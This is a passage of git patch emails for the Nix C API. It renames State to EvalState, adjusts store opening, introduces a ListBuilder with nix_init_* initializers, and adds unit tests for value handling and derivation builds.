TODO: In the future, this should throw different errors depending on the error code */ if (ctx.last_err_code != NIX_OK) state.debugThrowLastTrace(nix::Error( @@ -92,7 +92,7 @@ nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp) NIXC_CATCH_ERRS } -Value * nix_alloc_value(nix_c_context * context, State * state) +Value * nix_alloc_value(nix_c_context * context, EvalState * state) { if (context) context->last_err_code = NIX_OK; @@ -255,7 +255,7 @@ ExternalValue * nix_get_external(nix_c_context * context, Value * value) NIXC_CATCH_ERRS_NULL; } -Value * nix_get_list_byidx(nix_c_context * context, const Value * value, State * state, unsigned int ix) +Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int ix) { if (context) context->last_err_code = NIX_OK; @@ -270,7 +270,7 @@ Value * nix_get_list_byidx(nix_c_context * context, const Value * value, State * NIXC_CATCH_ERRS_NULL } -Value * nix_get_attr_byname(nix_c_context * context, const Value * value, State * state, const char * name) +Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalState * state, const char * name) { if (context) context->last_err_code = NIX_OK; @@ -290,7 +290,7 @@ Value * nix_get_attr_byname(nix_c_context * context, const Value * value, State NIXC_CATCH_ERRS_NULL } -bool nix_has_attr_byname(nix_c_context * context, const Value * value, State * state, const char * name) +bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState * state, const char * name) { if (context) context->last_err_code = NIX_OK; @@ -307,7 +307,7 @@ bool nix_has_attr_byname(nix_c_context * context, const Value * value, State * s } Value * -nix_get_attr_byidx(nix_c_context * context, const Value * value, State * state, unsigned int i, const char ** name) +nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int i, const char ** name) { if (context) context->last_err_code = NIX_OK; @@ -322,7 +322,7 @@ nix_get_attr_byidx(nix_c_context * context, const Value * value, State * state, NIXC_CATCH_ERRS_NULL } -const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * value, State * state, unsigned int i) +const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int i) { if (context) context->last_err_code = NIX_OK; @@ -413,7 +413,7 @@ nix_err nix_set_external(nix_c_context * context, Value * value, ExternalValue * NIXC_CATCH_ERRS } -nix_err nix_make_list(nix_c_context * context, State * s, Value * value, unsigned int size) +nix_err nix_make_list(nix_c_context * context, EvalState * s, Value * value, unsigned int size) { if (context) context->last_err_code = NIX_OK; @@ -471,7 +471,7 @@ nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder * NIXC_CATCH_ERRS } -BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, State * state, size_t capacity) +BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, EvalState * state, size_t capacity) { if (context) context->last_err_code = NIX_OK; diff --git a/src/libexpr/c/nix_api_value.h b/src/libexpr/c/nix_api_value.h index ca4e83cf4..de6dbc9ff 100644 --- a/src/libexpr/c/nix_api_value.h +++ b/src/libexpr/c/nix_api_value.h @@ -35,7 +35,7 @@ typedef enum { // forward declarations typedef void Value; -typedef struct State State; +typedef struct EvalState EvalState; // type defs /** @brief Stores an under-construction set of bindings * @ingroup value_manip @@ -75,7 +75,7 @@ typedef struct ExternalValue ExternalValue; * @param[out] ret return value * @see nix_alloc_primop, nix_set_primop */ -typedef void (*PrimOpFun)(void * user_data, nix_c_context * context, State * state, Value ** args, Value * ret); +typedef void (*PrimOpFun)(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret); /** @brief Allocate a PrimOp * @@ -127,7 +127,7 @@ nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp); * @return value, or null in case of errors * */ -Value * nix_alloc_value(nix_c_context * context, State * state); +Value * nix_alloc_value(nix_c_context * context, EvalState * state); /** @addtogroup value_manip Manipulating values * @brief Functions to inspect and change Nix language values, represented by Value. * @{ @@ -209,7 +209,7 @@ ExternalValue * nix_get_external(nix_c_context * context, Value *); * @param[in] ix list element to get * @return value, NULL in case of errors */ -Value * nix_get_list_byidx(nix_c_context * context, const Value * value, State * state, unsigned int ix); +Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int ix); /** @brief Get an attr by name * * Owned by the GC. Use nix_gc_decref when you're done with the pointer @@ -219,7 +219,7 @@ Value * nix_get_list_byidx(nix_c_context * context, const Value * value, State * * @param[in] name attribute name * @return value, NULL in case of errors */ -Value * nix_get_attr_byname(nix_c_context * context, const Value * value, State * state, const char * name); +Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalState * state, const char * name); /** @brief Check if an attribute name exists on a value * @param[out] context Optional, stores error information @@ -228,7 +228,7 @@ Value * nix_get_attr_byname(nix_c_context * context, const Value * value, State * @param[in] name attribute name * @return value, error info via context */ -bool nix_has_attr_byname(nix_c_context * context, const Value * value, State * state, const char * name); +bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState * state, const char * name); /** @brief Get an attribute by index in the sorted bindings * @@ -243,20 +243,20 @@ bool nix_has_attr_byname(nix_c_context * context, const Value * value, State * s * @return value, NULL in case of errors */ Value * -nix_get_attr_byidx(nix_c_context * context, const Value * value, State * state, unsigned int i, const char ** name); +nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int i, const char ** name); /** @brief Get an attribute name by index in the sorted bindings * * Useful when you want the name but want to avoid evaluation. * - * Owned by the nix State + * Owned by the nix EvalState * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @param[in] state nix evaluator state * @param[in] i attribute index * @return name, NULL in case of errors */ -const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * value, State * state, unsigned int i); +const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int i); /**@}*/ /** @name Setters */ @@ -315,7 +315,7 @@ nix_err nix_set_external(nix_c_context * context, Value * value, ExternalValue * * @param[in] size size of list * @return error code, NIX_OK on success. */ -nix_err nix_make_list(nix_c_context * context, State * s, Value * value, unsigned int size); +nix_err nix_make_list(nix_c_context * context, EvalState * s, Value * value, unsigned int size); /** @brief Manipulate a list by index * * Don't do this mid-computation. @@ -359,7 +359,7 @@ nix_err nix_copy_value(nix_c_context * context, Value * value, Value * source); * @return owned reference to a bindings builder. Make sure to unref when you're done. */ -BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, State * state, size_t capacity); +BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, EvalState * state, size_t capacity); /** @brief Insert bindings into a builder * @param[out] context Optional, stores error information * @param[in] builder BindingsBuilder to insert into diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index 03de4547a..60a33a5cf 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -25,7 +25,7 @@ public: nix_state_free(state); } - State * state; + EvalState * state; Value * value; }; From d5ec1d0617a9b2b463fec2fee548945c5c6987ee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Thu, 11 Jan 2024 22:41:57 +0100 Subject: [PATCH 0352/1251] C API: nix_store_open, check for empty strings --- src/libstore/c/nix_api_store.cc | 22 +++++++++++----------- tests/unit/libstore/nix_api_store.cc | 24 ++++++++++++++++++++++++ 2 files changed, 35 insertions(+), 11 deletions(-) diff --git a/src/libstore/c/nix_api_store.cc b/src/libstore/c/nix_api_store.cc index 4aff815ff..6586d4a1b 100644 --- a/src/libstore/c/nix_api_store.cc +++ b/src/libstore/c/nix_api_store.cc @@ -33,19 +33,19 @@ Store * nix_store_open(nix_c_context * context, const char * uri, const char *** if (context) context->last_err_code = NIX_OK; try { - if (!uri) { - return new Store{nix::openStore()}; - } else { - std::string uri_str = uri; - if (!params) - return new Store{nix::openStore(uri_str)}; + std::string uri_str = uri ? uri : ""; - nix::Store::Params params_map; - for (size_t i = 0; params[i] != nullptr; i++) { - params_map[params[i][0]] = params[i][1]; - } - return new Store{nix::openStore(uri_str, params_map)}; + if (uri_str.empty()) + return new Store{nix::openStore()}; + + if (!params) + return new Store{nix::openStore(uri_str)}; + + nix::Store::Params params_map; + for (size_t i = 0; params[i] != nullptr; i++) { + params_map[params[i][0]] = params[i][1]; } + return new Store{nix::openStore(uri_str, params_map)}; } NIXC_CATCH_ERRS_NULL } diff --git a/tests/unit/libstore/nix_api_store.cc b/tests/unit/libstore/nix_api_store.cc index 764cd0d88..bbf850291 100644 --- a/tests/unit/libstore/nix_api_store.cc +++ b/tests/unit/libstore/nix_api_store.cc @@ -58,4 +58,28 @@ TEST_F(nix_api_store_test, get_version) ASSERT_STREQ(PACKAGE_VERSION, value); } +TEST_F(nix_api_util_context, nix_store_open_dummy) +{ + nix_libstore_init(ctx); + Store * store = nix_store_open(ctx, "dummy://", nullptr); + ASSERT_EQ(NIX_OK, ctx->last_err_code); + ASSERT_STREQ("dummy", store->ptr->getUri().c_str()); + nix_store_unref(store); +} + +TEST_F(nix_api_util_context, nix_store_open_invalid) +{ + nix_libstore_init(ctx); + Store * store = nix_store_open(ctx, "invalid://", nullptr); + ASSERT_EQ(NIX_ERR_NIX_ERROR, ctx->last_err_code); + ASSERT_EQ(nullptr, store); + nix_store_unref(store); +} + +TEST_F(nix_api_store_test, nix_store_is_valid_path_not_in_store) +{ + StorePath * path = nix_store_parse_path(ctx, store, validPath); + ASSERT_EQ(false, nix_store_is_valid_path(ctx, store, path)); +} + } From 415583a5009a13d677adcb22c26e27e1d04931eb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Thu, 11 Jan 2024 22:42:44 +0100 Subject: [PATCH 0353/1251] C API: use bool argument consistently --- src/libexpr/c/nix_api_external.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/c/nix_api_external.h b/src/libexpr/c/nix_api_external.h index daa74c5a8..c935bbe56 100644 --- a/src/libexpr/c/nix_api_external.h +++ b/src/libexpr/c/nix_api_external.h @@ -136,7 +136,7 @@ typedef struct NixCExternalValueDesc * or setting it to the empty string, will make the conversion throw an error. */ void (*printValueAsJSON)( - void * self, EvalState *, int strict, nix_string_context * c, bool copyToStore, nix_string_return * res); + void * self, EvalState *, bool strict, nix_string_context * c, bool copyToStore, nix_string_return * res); /** * @brief Convert the external value to XML * From 51ff547d9ada2243afc02c6c84c7e7be64fefdb7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Mon, 15 Jan 2024 23:44:57 +0100 Subject: [PATCH 0354/1251] C API: add more tests to nix_api_expr --- tests/unit/libexpr/nix_api_expr.cc | 47 ++++++++++++++++------ tests/unit/libexpr/nix_api_value.cc | 61 +++++++++++++++++++++++++++++ 2 files changed, 97 insertions(+), 11 deletions(-) create mode 100644 tests/unit/libexpr/nix_api_value.cc diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index 60a33a5cf..0389306ec 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -51,24 +51,19 @@ TEST_F(nix_api_expr_test, nix_expr_eval_drv) { auto expr = R"(derivation { name = "myname"; builder = "mybuilder"; system = "mysystem"; })"; nix_expr_eval_from_string(nullptr, state, expr, ".", value); - nix_value_force(nullptr, state, value); - ASSERT_EQ(NIX_TYPE_ATTRS, nix_get_type(nullptr, value)); - auto stateFn = nix_state_create(nullptr, nullptr, store); - auto valueFn = nix_alloc_value(nullptr, state); + EvalState * stateFn = nix_state_create(nullptr, nullptr, store); + Value * valueFn = nix_alloc_value(nullptr, state); nix_expr_eval_from_string(nullptr, stateFn, "builtins.toString", ".", valueFn); - ASSERT_EQ(NIX_TYPE_FUNCTION, nix_get_type(nullptr, valueFn)); - auto stateResult = nix_state_create(nullptr, nullptr, store); - auto valueResult = nix_alloc_value(nullptr, stateResult); - + EvalState * stateResult = nix_state_create(nullptr, nullptr, store); + Value * valueResult = nix_alloc_value(nullptr, stateResult); nix_value_call(ctx, stateResult, valueFn, value, valueResult); - nix_value_force(nullptr, stateResult, valueResult); - - auto p = nix_get_string(nullptr, valueResult); + ASSERT_EQ(NIX_TYPE_STRING, nix_get_type(nullptr, valueResult)); + const char * p = nix_get_string(nullptr, valueResult); ASSERT_STREQ("/nix/store/40s0qmrfb45vlh6610rk29ym318dswdr-myname", p); // Clean up @@ -79,4 +74,34 @@ TEST_F(nix_api_expr_test, nix_expr_eval_drv) nix_state_free(stateResult); } +TEST_F(nix_api_expr_test, nix_build_drv) +{ + auto expr = R"(derivation { name = "myname"; + system = builtins.currentSystem; + builder = "/bin/sh"; + args = [ "-c" "echo hello world > $out" ]; + })"; + nix_expr_eval_from_string(nullptr, state, expr, ".", value); + + Value * drvPathValue = nix_get_attr_byname(nullptr, value, state, "drvPath"); + const char * drvPath = nix_get_string(nullptr, drvPathValue); + ASSERT_STREQ("/nix/store/5fxx84dpz59ch79wf9x8ja715p7hf3q1-myname.drv", drvPath); + + StorePath * drvStorePath = nix_store_parse_path(ctx, store, drvPath); + ASSERT_EQ(true, nix_store_is_valid_path(nullptr, store, drvStorePath)); + + Value * outPathValue = nix_get_attr_byname(nullptr, value, state, "outPath"); + const char * outPath = nix_get_string(nullptr, outPathValue); + ASSERT_STREQ("/nix/store/rp0xk0641l8hpdb84fsx3kwwrl45pxan-myname", outPath); + + StorePath * outStorePath = nix_store_parse_path(ctx, store, outPath); + ASSERT_EQ(false, nix_store_is_valid_path(nullptr, store, outStorePath)); + + nix_store_build(ctx, store, drvStorePath, nullptr, nullptr); + ASSERT_EQ(true, nix_store_is_valid_path(nullptr, store, outStorePath)); + + // Clean up + nix_store_path_free(drvStorePath); + nix_store_path_free(outStorePath); +} } diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc new file mode 100644 index 000000000..ce9cfd68b --- /dev/null +++ b/tests/unit/libexpr/nix_api_value.cc @@ -0,0 +1,61 @@ +#include "nix_api_store.h" +#include "nix_api_store_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" +#include "nix_api_expr.h" +#include "nix_api_value.h" + +#include "tests/nix_api_store.hh" + +#include + +namespace nixC { + +class nix_api_value_test : public nix_api_store_test +{ +public: + nix_api_value_test() + { + state = nix_state_create(nullptr, nullptr, store); + value = nix_alloc_value(nullptr, state); + } + ~nix_api_value_test() + { + nix_gc_decref(nullptr, value); + nix_state_free(state); + } + + EvalState * state; + Value * value; +}; + +TEST_F(nix_api_value_test, nix_value_set_get_int) +{ + int myInt = 1; + nix_set_int(nullptr, value, myInt); + + ASSERT_EQ(myInt, nix_get_int(nullptr, value)); +} + +TEST_F(nix_api_value_test, nix_value_make_list) +{ + int size = 10; + nix_make_list(nullptr, state, value, size); + ASSERT_EQ(size, nix_get_list_size(nullptr, value)); +} + +TEST_F(nix_api_value_test, nix_value_set_get_list) +{ + int size = 10; + nix_make_list(nullptr, state, value, size); + + Value * intValue = nix_alloc_value(nullptr, state); + nix_set_int(nullptr, intValue, 42); + nix_set_list_byidx(nullptr, value, 0, intValue); + + ASSERT_EQ(42, nix_get_int(nullptr, nix_get_list_byidx(nullptr, value, state, 0))); + + // Clean up + nix_gc_decref(nullptr, intValue); +} +} From dfdb90dc8e5e743a72d3aeaa472d27d6a1b40c97 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Thu, 22 Feb 2024 00:09:15 +0100 Subject: [PATCH 0355/1251] C API: Consolidate initializers --- src/libexpr/c/nix_api_value.cc | 99 +++++++++++++++++++++-------- src/libexpr/c/nix_api_value.h | 76 +++++++++++++++------- tests/unit/libexpr/nix_api_value.cc | 70 ++++++++++++++++---- 3 files changed, 183 insertions(+), 62 deletions(-) diff --git a/src/libexpr/c/nix_api_value.cc b/src/libexpr/c/nix_api_value.cc index ffa3aa5f7..dbddbd876 100644 --- a/src/libexpr/c/nix_api_value.cc +++ b/src/libexpr/c/nix_api_value.cc @@ -17,6 +17,32 @@ #include "gc_cpp.h" #endif +class ListBuilder +{ +private: + std::vector values; + +public: + ListBuilder(size_t capacity) + { + values.reserve(capacity); + } + + void push_back(nix::Value * value) + { + values.push_back(value); + } + + Value * finish(nix::EvalState * state, nix::Value * list) + { + state->mkList(*list, values.size()); + for (size_t n = 0; n < list->listSize(); ++n) { + list->listElems()[n] = values[n]; + } + return list; + } +}; + // Helper function to throw an exception if value is null static const nix::Value & check_value_not_null(const Value * value) { @@ -334,7 +360,7 @@ const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * valu NIXC_CATCH_ERRS_NULL } -nix_err nix_set_bool(nix_c_context * context, Value * value, bool b) +nix_err nix_init_bool(nix_c_context * context, Value * value, bool b) { if (context) context->last_err_code = NIX_OK; @@ -346,7 +372,7 @@ nix_err nix_set_bool(nix_c_context * context, Value * value, bool b) } // todo string context -nix_err nix_set_string(nix_c_context * context, Value * value, const char * str) +nix_err nix_init_string(nix_c_context * context, Value * value, const char * str) { if (context) context->last_err_code = NIX_OK; @@ -357,7 +383,7 @@ nix_err nix_set_string(nix_c_context * context, Value * value, const char * str) NIXC_CATCH_ERRS } -nix_err nix_set_path_string(nix_c_context * context, Value * value, const char * str) +nix_err nix_init_path_string(nix_c_context * context, Value * value, const char * str) { if (context) context->last_err_code = NIX_OK; @@ -368,7 +394,7 @@ nix_err nix_set_path_string(nix_c_context * context, Value * value, const char * NIXC_CATCH_ERRS } -nix_err nix_set_float(nix_c_context * context, Value * value, double d) +nix_err nix_init_float(nix_c_context * context, Value * value, double d) { if (context) context->last_err_code = NIX_OK; @@ -379,7 +405,7 @@ nix_err nix_set_float(nix_c_context * context, Value * value, double d) NIXC_CATCH_ERRS } -nix_err nix_set_int(nix_c_context * context, Value * value, int64_t i) +nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i) { if (context) context->last_err_code = NIX_OK; @@ -390,7 +416,7 @@ nix_err nix_set_int(nix_c_context * context, Value * value, int64_t i) NIXC_CATCH_ERRS } -nix_err nix_set_null(nix_c_context * context, Value * value) +nix_err nix_init_null(nix_c_context * context, Value * value) { if (context) context->last_err_code = NIX_OK; @@ -401,7 +427,7 @@ nix_err nix_set_null(nix_c_context * context, Value * value) NIXC_CATCH_ERRS } -nix_err nix_set_external(nix_c_context * context, Value * value, ExternalValue * val) +nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue * val) { if (context) context->last_err_code = NIX_OK; @@ -413,31 +439,52 @@ nix_err nix_set_external(nix_c_context * context, Value * value, ExternalValue * NIXC_CATCH_ERRS } -nix_err nix_make_list(nix_c_context * context, EvalState * s, Value * value, unsigned int size) +ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state, size_t capacity) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto builder = ListBuilder(capacity); + return new +#if HAVE_BOEHMGC + (NoGC) +#endif + ListBuilder{std::move(builder)}; + } + NIXC_CATCH_ERRS_NULL +} + +nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * builder, Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + builder->push_back((nix::Value *) value); + } + NIXC_CATCH_ERRS +} + +void nix_list_builder_free(ListBuilder * bb) +{ +#if HAVE_BOEHMGC + GC_FREE(bb); +#else + delete bb; +#endif +} + +nix_err nix_make_list(nix_c_context * context, EvalState * s, Value * value, ListBuilder * b) { if (context) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); - s->state.mkList(v, size); + b->finish(&(s->state), &v); } NIXC_CATCH_ERRS } -nix_err nix_set_list_byidx(nix_c_context * context, Value * value, unsigned int ix, Value * elem) -{ - if (context) - context->last_err_code = NIX_OK; - try { - // todo: assert that this is a list - auto & v = check_value_not_null(value); - auto & e = check_value_not_null(elem); - v.listElems()[ix] = &e; - } - NIXC_CATCH_ERRS -} - -nix_err nix_set_primop(nix_c_context * context, Value * value, PrimOp * p) +nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * p) { if (context) context->last_err_code = NIX_OK; @@ -486,14 +533,14 @@ BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, EvalState * NIXC_CATCH_ERRS_NULL } -nix_err nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * b, const char * name, Value * value) +nix_err nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * bb, const char * name, Value * value) { if (context) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); - nix::Symbol s = b->builder.state.symbols.create(name); - b->builder.insert(s, &v); + nix::Symbol s = bb->builder.state.symbols.create(name); + bb->builder.insert(s, &v); } NIXC_CATCH_ERRS } diff --git a/src/libexpr/c/nix_api_value.h b/src/libexpr/c/nix_api_value.h index de6dbc9ff..df1f949ed 100644 --- a/src/libexpr/c/nix_api_value.h +++ b/src/libexpr/c/nix_api_value.h @@ -46,6 +46,8 @@ typedef struct EvalState EvalState; */ typedef struct BindingsBuilder BindingsBuilder; +typedef class ListBuilder ListBuilder; + /** @brief PrimOp function * @ingroup primops * @@ -73,7 +75,7 @@ typedef struct ExternalValue ExternalValue; * @param[in] args list of arguments. Note that these can be thunks and should be forced using nix_value_force before * use. * @param[out] ret return value - * @see nix_alloc_primop, nix_set_primop + * @see nix_alloc_primop, nix_init_primop */ typedef void (*PrimOpFun)(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret); @@ -90,7 +92,7 @@ typedef void (*PrimOpFun)(void * user_data, nix_c_context * context, EvalState * * @param[in] doc optional, documentation for this primop * @param[in] user_data optional, arbitrary data, passed to the callback when it's called * @return primop, or null in case of errors - * @see nix_set_primop + * @see nix_init_primop */ PrimOp * nix_alloc_primop( nix_c_context * context, @@ -162,6 +164,7 @@ bool nix_get_bool(nix_c_context * context, const Value * value); * @return NULL in case of error. */ const char * nix_get_string(nix_c_context * context, const Value * value); + /** @brief Get path as string * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect @@ -169,30 +172,35 @@ const char * nix_get_string(nix_c_context * context, const Value * value); * @return NULL in case of error. */ const char * nix_get_path_string(nix_c_context * context, const Value * value); + /** @brief Get the length of a list * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return length of list, error info via context */ unsigned int nix_get_list_size(nix_c_context * context, const Value * value); + /** @brief Get the element count of an attrset * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return attrset element count, error info via context */ unsigned int nix_get_attrs_size(nix_c_context * context, const Value * value); + /** @brief Get float value in 64 bits * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return float contents, error info via context */ double nix_get_float(nix_c_context * context, const Value * value); + /** @brief Get int value * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return int contents, error info via context */ int64_t nix_get_int(nix_c_context * context, const Value * value); + /** @brief Get external reference * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect @@ -210,6 +218,7 @@ ExternalValue * nix_get_external(nix_c_context * context, Value *); * @return value, NULL in case of errors */ Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int ix); + /** @brief Get an attr by name * * Owned by the GC. Use nix_gc_decref when you're done with the pointer @@ -257,8 +266,9 @@ nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * sta * @return name, NULL in case of errors */ const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int i); + /**@}*/ -/** @name Setters +/** @name Initializers */ /**@{*/ /** @brief Set boolean value @@ -267,66 +277,82 @@ const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * valu * @param[in] b the boolean value * @return error code, NIX_OK on success. */ -nix_err nix_set_bool(nix_c_context * context, Value * value, bool b); +nix_err nix_init_bool(nix_c_context * context, Value * value, bool b); /** @brief Set a string * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] str the string, copied * @return error code, NIX_OK on success. */ -nix_err nix_set_string(nix_c_context * context, Value * value, const char * str); +nix_err nix_init_string(nix_c_context * context, Value * value, const char * str); /** @brief Set a path * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] str the path string, copied * @return error code, NIX_OK on success. */ -nix_err nix_set_path_string(nix_c_context * context, Value * value, const char * str); +nix_err nix_init_path_string(nix_c_context * context, Value * value, const char * str); /** @brief Set a float * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] d the float, 64-bits * @return error code, NIX_OK on success. */ -nix_err nix_set_float(nix_c_context * context, Value * value, double d); +nix_err nix_init_float(nix_c_context * context, Value * value, double d); /** @brief Set an int * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] i the int * @return error code, NIX_OK on success. */ -nix_err nix_set_int(nix_c_context * context, Value * value, int64_t i); + +nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i); /** @brief Set null * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @return error code, NIX_OK on success. */ -nix_err nix_set_null(nix_c_context * context, Value * value); + +nix_err nix_init_null(nix_c_context * context, Value * value); /** @brief Set an external value * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] val the external value to set. Will be GC-referenced by the value. * @return error code, NIX_OK on success. */ -nix_err nix_set_external(nix_c_context * context, Value * value, ExternalValue * val); -/** @brief Allocate a list +nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue * val); + +/** @brief Create a list from a list builder * @param[out] context Optional, stores error information * @param[out] value Nix value to modify - * @param[in] size size of list + * @param[in] b list builder to use. Make sure to unref this afterwards. * @return error code, NIX_OK on success. */ -nix_err nix_make_list(nix_c_context * context, EvalState * s, Value * value, unsigned int size); -/** @brief Manipulate a list by index +nix_err nix_make_list(nix_c_context * context, EvalState * s, Value * value, ListBuilder * b); + +/** @brief Create a list builder + * @param[out] context Optional, stores error information + * @param[in] state nix evaluator state + * @param[in] capacity how many bindings you'll add. Don't exceed. + * @return owned reference to a list builder. Make sure to unref when you're done. + */ +ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state, size_t capacity); + +/** @brief Insert bindings into a builder + * @param[out] context Optional, stores error information + * @param[in] builder ListBuilder to insert into + * @param[in] value value to insert + * @return error code, NIX_OK on success. + */ +nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * builder, Value * value); + +/** @brief Free a list builder * - * Don't do this mid-computation. - * @pre your list should be at least 'ix+1' items long - * @param[out] context Optional, stores error information - * @param[out] value Nix value to modify - * @param[in] ix index to manipulate - * @param[in] elem the value to set, will be gc-referenced by the value - * @return error code, NIX_OK on success. + * Does not fail. + * @param[in] builder the builder to free */ -nix_err nix_set_list_byidx(nix_c_context * context, Value * value, unsigned int ix, Value * elem); +void nix_list_builder_free(ListBuilder * builder); + /** @brief Create an attribute set from a bindings builder * @param[out] context Optional, stores error information * @param[out] value Nix value to modify @@ -334,6 +360,7 @@ nix_err nix_set_list_byidx(nix_c_context * context, Value * value, unsigned int * @return error code, NIX_OK on success. */ nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder * b); + /** @brief Set primop * @param[out] context Optional, stores error information * @param[out] value Nix value to modify @@ -341,7 +368,7 @@ nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder * * @see nix_alloc_primop * @return error code, NIX_OK on success. */ -nix_err nix_set_primop(nix_c_context * context, Value * value, PrimOp * op); +nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * op); /** @brief Copy from another value * @param[out] context Optional, stores error information * @param[out] value Nix value to modify @@ -352,7 +379,6 @@ nix_err nix_copy_value(nix_c_context * context, Value * value, Value * source); /**@}*/ /** @brief Create a bindings builder - * @param[out] context Optional, stores error information * @param[in] state nix evaluator state * @param[in] capacity how many bindings you'll add. Don't exceed. @@ -360,6 +386,7 @@ nix_err nix_copy_value(nix_c_context * context, Value * value, Value * source); done. */ BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, EvalState * state, size_t capacity); + /** @brief Insert bindings into a builder * @param[out] context Optional, stores error information * @param[in] builder BindingsBuilder to insert into @@ -369,6 +396,7 @@ BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, EvalState * */ nix_err nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * builder, const char * name, Value * value); + /** @brief Free a bindings builder * * Does not fail. diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index ce9cfd68b..d1247e027 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -7,6 +7,7 @@ #include "tests/nix_api_store.hh" +#include #include namespace nixC { @@ -32,30 +33,75 @@ public: TEST_F(nix_api_value_test, nix_value_set_get_int) { int myInt = 1; - nix_set_int(nullptr, value, myInt); + nix_init_int(nullptr, value, myInt); ASSERT_EQ(myInt, nix_get_int(nullptr, value)); } -TEST_F(nix_api_value_test, nix_value_make_list) +TEST_F(nix_api_value_test, nix_make_and_set_list) { int size = 10; - nix_make_list(nullptr, state, value, size); - ASSERT_EQ(size, nix_get_list_size(nullptr, value)); -} - -TEST_F(nix_api_value_test, nix_value_set_get_list) -{ - int size = 10; - nix_make_list(nullptr, state, value, size); + ListBuilder * builder = nix_make_list_builder(nullptr, state, size); Value * intValue = nix_alloc_value(nullptr, state); - nix_set_int(nullptr, intValue, 42); - nix_set_list_byidx(nullptr, value, 0, intValue); + nix_init_int(nullptr, intValue, 42); + nix_list_builder_insert(nullptr, builder, intValue); + nix_make_list(nullptr, state, value, builder); + nix_list_builder_free(builder); ASSERT_EQ(42, nix_get_int(nullptr, nix_get_list_byidx(nullptr, value, state, 0))); + ASSERT_EQ(1, nix_get_list_size(nullptr, value)); // Clean up nix_gc_decref(nullptr, intValue); } + +TEST_F(nix_api_value_test, nix_make_attrs_t) +{ + int size = 10; + const char ** out_name = (const char **) malloc(sizeof(char *)); 